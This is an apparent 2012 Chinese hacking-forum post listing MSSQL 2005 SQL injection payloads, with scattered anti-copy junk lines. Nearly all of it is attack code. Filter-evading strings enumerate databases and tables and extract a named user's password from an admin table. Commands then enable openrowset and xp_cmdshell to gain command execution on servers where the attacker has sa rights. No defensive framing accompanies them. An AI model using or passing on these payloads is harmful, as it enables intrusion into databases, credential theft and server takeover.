中国网络渗透测试联盟
标题:
MSsql2005注入语句
[打印本页]
作者:
admin
时间:
2012-9-13 17:19
标题:
MSsql2005注入语句
$ u+ u# i; q2 S# N3 M& k
|( l% @9 \' A& W. f
4 \" e1 z( F! z2 M0 q9 K
[Copy to clipboard]CODE:
, X3 r8 V# \6 k" \6 x7 j5 a9 E; B
/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--
4 {, j+ |" J, I' N2 s, t
+ S% x# O3 J# i( u
爆表语句,somedb部份是所要列的数据库，红色数字1累加
3 m2 [- P& ^6 `1 L0 z7 o
' b& U- `9 Z) ?( g* S
; S/ ~ A! t& N& f3 v3 ^
[Copy to clipboard]CODE:
, E6 A* x0 m+ z% g( ^8 i, L* v
/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
3 a6 f% _2 Q) u1 P8 q
; f+ d# ]2 e; u9 _% |% @1 `% C
爆字段语句，爆表admin里user='icerover'的密码段
: |" w' f# N: @' X" P
; H- D# D, {+ \0 ~0 b
- D q- m7 L7 ^5 E \3 W
[Copy to clipboard]CODE:
( G/ B- ]0 @5 n+ J5 x( `. k0 P* K
**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--
- u% M3 L$ j2 U9 F9 t
8 ]" @5 o8 I$ T6 ]- ]' c
mssql2005默认没有开xp_cmdshell的，openrowset也不能用
3 [$ S- N# c' d6 Q
如果是sa权限，可以这样来开启
% |2 d8 c7 u/ k9 b$ l' l v0 P& P" n, \; ?
开启openrowset
% L: |+ l8 @' ?
$ _% @0 l" W/ u) O9 X
* Q6 A/ L5 v) s/ ?! q+ Q
[Copy to clipboard]CODE:
2 b$ b+ s t1 N5 e) L3 T
/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
2 ]- p" o2 p0 `; y
/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--
6 \3 P; ~( {# H C
- J7 ~3 v0 N; H! A
开启xp_cmdshell
; t# \- J. S; X- \/ F' Y
% e; z- D7 b5 S8 p
: u6 M' a" n! M* x" @4 v% z' S
[Copy to clipboard]CODE:
- N% E4 Z8 A1 p$ l [! o
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--
! V. _! h# B5 H- G8 O
EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--
+ h8 I( G3 v* [8 V2 p' A1 F% p
8 a: Q2 h4 D: B: t- |8 S1 N# z( G
ok,over~~晚安
D s. k9 W8 n. Q! X5 |
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2